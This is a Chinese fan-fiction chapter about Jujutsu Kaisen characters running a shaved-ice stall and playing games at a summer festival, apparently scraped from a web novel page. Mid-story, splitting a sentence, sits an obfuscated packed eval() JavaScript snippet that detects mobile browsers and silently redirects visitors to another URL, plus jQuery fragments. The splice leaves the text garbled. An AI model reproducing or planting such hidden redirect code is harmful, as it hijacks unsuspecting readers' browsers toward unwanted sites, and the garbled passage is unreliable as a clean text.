天色渐渐变暗,温度也降了下来,围在冰沙摊子前面的的人也寥寥无几。
“您的西瓜冰沙,请拿好,慢走。”
夏油杰送走了最后一位客人,长舒了一口气,总算是可以收摊了。
狗卷父亲端着一杯黄瓜冰沙走了过来,“辛苦了,夏油先生,尝尝这个。”
“谢谢。”
夏油杰接过冰沙,吸了一口,清爽的黄瓜跟带着酸的柠檬相混合,感觉暑气一下子都消了。
“呸呸呸!”
五条悟嫌弃地看着手里的深褐色冰沙,“硝子,你这是什么味道,为什么是苦的,还有点辣!”
“笨蛋!”
家入硝子一把夺过自己精心特调的苦咖啡烧酒冰沙,把五条悟用过的勺子扔掉,换上一个新的吸管,享用起来。
不错,这种味道才适合她。
“冰沙!”
“我的也好吃!”
“惠,你要不要尝一尝我的?”
“有点甜。”
“我果然还是最喜欢桃子味的!”
狗卷棘,吉田悠,伏黑津美纪,伏黑惠,小林美子坐在小板凳上,品尝着各自喜欢的味道。
“自己做的确实很好吃呢。”
狗卷母亲抿了一口冰沙,笑意柔和,“您说呢,吉田夫人。”
吉田代子没有了初见面的拘谨,是一种完全放松的姿态,她静静地看着自家的孩子。
“嗯,很甜,很香。”
吉田代子转过头,跟狗卷母亲对视,不约而同地笑了。
小林信子刚结束了工作,带着几个又大又蓬松的棉花糖,分给五个小朋友,“哇哦,虽然是第一次摆摊,但是大家都很有天赋呢!”
“水果,牛奶什么的,都没有剩多少。”
小林信子捧着一杯冰沙,发出诚挚邀请,“下次祭典也一起来摆摊吧!”
“如果有机会的话。”
夏油杰瞄了一眼浑身散发着黑气的某人,“最好是换一样不用冰的。”
不然,他的同期就要炸了。
禅院遥夏面无表情地喝着一杯海盐荔枝冰沙,是夏油杰特意给她做的。
淡淡的咸配合着荔枝的甜,很好喝。
“禅院家的,脸这么臭做什么?”
某白毛闪现到禅院遥夏跟前,一直戴在脸上的黑色圆框眼镜不知道什么时候被拿掉了,如同天空般纯净的六眼盯着禅院遥夏看。
“走开。”
禅院遥夏淡淡地扭头,她的这会心情还算不错,不太想戳死五条悟。
“笑一个嘛~”
五条悟伸出罪恶的双手,拉住禅院遥夏的两边脸猛地一扯。
“五条悟!!!”
超高分贝的吼声瞬间吸引力在场的所有人注意。
而身为当事人之一的五条悟似乎一点也没察觉到不对劲,一个劲地笑嘻嘻扯着禅院遥夏的脸颊。
“这就对了,学我一样,多笑一笑!”
笑,是吧?
禅院遥夏握住五条悟的手腕,往外一折,嘴角勾出一个堪称完美的笑,只是莫名地让人起鸡皮疙瘩。
“现在可以了吗?”
五条悟歪了下脑袋,认真思考,“好像差点什么东西……”
“差点什么?”禅院遥夏接着微笑。
五条悟眨眨眼睛,“不知道。”
不知道?
禅院遥夏把自己的冰沙往桌子里面推了推,脸上的笑容更加深了,“那我就告诉你,还差——!”
“呜呜……”
夏油杰眼疾手快地捂住五条悟的嘴,拖着他就往后面走,“遥夏酱,不要在意,悟他是胡说的!”
等夏油杰把五条悟拉出一段距离后,禅院遥夏轻哼了一声,坐回凳子上,继续喝起自己的专属冰沙。
看在夏油杰的面子上,她今天就不跟那死白毛计较。
“悟,我劝你……”
夏油杰松开手,准备耐心劝导五条悟今天要安分一点。
“杰,你闭着眼能看清吗?”
五条悟手指撑在夏油杰的眼皮上,努力要把它撑大。
夏油杰:“……”
要不然还是让遥夏酱把这家伙打死算了。
“啧。”
家入硝子从旁边路过,顺手把手里五条悟的圆框眼镜交给夏油杰,轻嗤道,“这家伙就吃了我的一口冰沙,醉成这样?”
夏油杰看着家入硝子手里那杯混了烧酒和黑咖啡的冰沙有些沉默。
感情是喝醉了啊。
不过……一口就能喝醉,硝子到底往里面掺了多少酒啊!
夏油杰来到料理区,指尖翻飞,把剩的青瓜,椰子和柠檬混在一起,做好三杯冰沙。
“喝!”
夏油杰一杯接着一杯放入五条悟手里,等五条悟喝完,又给续上。
五条悟乖乖地接受投喂,像只小猫一样。
“哟,干得不错。”
家入硝子再次路过两人身边,冲着夏油杰竖起大拇指。
她总感觉烧酒加少了,再加点。
“硝子,少喝点!”
“嗨!”
嘴上是答应的,但做不做是另一回事。
夏油杰看看这个,又看看那个,忍不住叹了口气。
果然,一个个都是问题儿童。
他……好像个老妈子啊。
错觉,一定是错觉!
夏油杰甩甩脑袋,把这一离谱想法扔飞出去。
“好了,各位,我们也去逛逛吧。”
小林信子伸了个懒腰,“夜晚的祭典也是很热闹的哦。”
“好哎!”
“嗯。”
“好!”
“冰沙!”
“走喽!”
五个小家伙是第一个响应的。
吉田悠走到吉田代子身边,牵起那只温暖的手。
狗卷棘被狗卷父亲放在肩头,双臂张开兴奋地挥着手,狗卷母亲笑着看着父子两人。
小林美子和姐姐小林信子轻快地蹦来蹦去。
禅院遥夏左手拉着伏黑惠,右手握着伏黑津美纪的手。
夏油杰给五条悟戴好墨镜,扯着他跟家入硝子跟在最后面。
祭典上的灯笼一盏一盏亮起来,整条街上都充斥着各种小吃的香味。
“是捞金鱼!”
小林美子一下子窜到后面,朝四个小伙伴招手,“棘,悠,惠,津美纪,我们来比赛吧!”
吉田悠眼睛一亮,看向吉田代子,得到同意后,兴高采烈地走向摊子。
狗卷父亲把狗卷棘轻轻放下,塞给他几枚硬币。
“惠宝宝和小美纪也去吧。”
禅院遥夏摇了摇手里解开的手机,“姑姑在后面给你们拍照哦!要加油!”
“嗯!”
伏黑津美纪重重点了点头,拉着伏黑惠跑了过去。
五个小孩齐齐蹲在摊子前,手上各拿着一个纸网,表情严肃地盯着水里的金鱼。
小林美子咽了下口水,“小心哦,网是很容易破的,一定要把握好力度哦。”
吉田悠小心翼翼地对准一条游得慢悠悠的金鱼,等他的网子接近的时候,那条金鱼却猛地加速,游进鱼群之中。
“捞空了……”吉田悠有点失望。
“金鱼!”
狗卷棘拍了拍胸膛,眼神坚定,手稳准狠地奔向池子最外边的金鱼。
捞是捞到了,只不过网里面一下进了两条金鱼,不堪重负地破了。
“……”
狗卷棘举起手里的纸网,上面的大洞可以穿过一只手。
伏黑惠和伏黑津美纪同时动手。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434507|200950||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“哗啦!”
金鱼跃起又落下,两人贴的太近,被甩了一脸的水。
“咔嚓——”
禅院遥夏及时地按下拍照按钮,留下了这难得的一幕,但同时,也收到了伏黑惠和伏黑津美纪的幽怨眼神。
“哈哈哈哈!”
某无良白毛噗呲一声地笑了出来,“杰,你看他们两个!”
夏油杰在禅院遥夏的死亡注视下,强行给五条悟闭麦。
家入硝子偷笑,却没发出声音。
现在,就剩小林美子还没有捞了。
四小孩扑闪着四双亮晶晶的眼睛,不约而同地看向小林美子。
小林美子顿感压力,擦了一把不存在的冷汗,死死地盯着池里的金鱼。
“就让美子大人给你们做个示范吧!”
小林美子深吸一口气,在经过一番寻找后,锁定了一条橙红色的金鱼。
握着纸网的手腕微微一沉,再稍稍倾斜一定的角度。
四个小孩眼睛眨都不眨一下。
下一秒,小林美子将纸网浸入水里,猛地一捞。
水花轻轻溅起,纸网兜赫然出现了那只小金鱼。
“成功了!”
“金鱼!”
“美子好厉害!”
“厉害!”
小林美子骄傲地抬起下巴,“看到了吧,这就是美子大人的实力!”
小林信子将小林美子的头发揉的乱糟糟的,“不愧是我的妹妹!”
狗卷夫妇和吉田代子三人也鼓起了掌。
“我也要捞!”
五条悟咻一下闪到摊子前,随手拿起一个纸网一捞,一只金鱼被稳稳地兜在网里。
“我也捞到了!”
五条悟看向众人,明显是想要夸奖。
夏油杰扶额,“……嗯,悟,很棒。”
家入硝子默默扭过头,她什么都没看见。
禅院遥夏撇撇嘴,“幼稚鬼。”
狗卷夫妇,吉田代子,小林信子四人非常给面子地热烈地拍起手来。
“五条大人好厉害!”
“五条大人好棒!”
“五条悟大人手真稳!”
“五条先生很有天赋!”
五条悟笑得合不拢嘴,整个人都散发着愉悦的气息。
“前面还有套圈!钓水球!叠叠乐!杰,禅院家的,硝子,一起去玩吧!”
五条悟拥着夏油杰,禅院遥夏,家入硝子,一起加入夏日祭典游戏活动中。
“姑姑,我想要那个玩具。”
“姑姑好厉害!”
“悟哥哥,那个那个!红色的!”
“熊!”
“狐狸!”
五条悟和禅院遥夏两人眼中有火花崩现。
“看我的!”
“休想!死白毛,那是我的!”
被迫加入的夏油杰和家入硝子望着眼前斗得不相上下的五条和禅院。
“夏油,御三家出来的都这么幼稚吗?”
“不知道,反正,这两个挺幼稚的。”
夏油杰和家入硝子默契一笑。
“砰——”
烟花在夜空中炸开,五彩光芒绽放,照亮了整个祭典。
“哇,放烟花了!”
“好漂亮!”
“妈妈,拍照!”
“好,大家一起来拍照吧!”
四个可靠的大人,加上四个大小孩,和五个真小孩。
照片上留下了十三个人最灿烂的笑容。
看了一烟花会,夏油杰目光放空,陷入了沉思。
话说,他们好像忘了什么来着。
咒术高专里。
“都去哪了……”
夜蛾正道独自一人望着空荡荡又黑漆漆的操场,显得格外的寒冷萧瑟。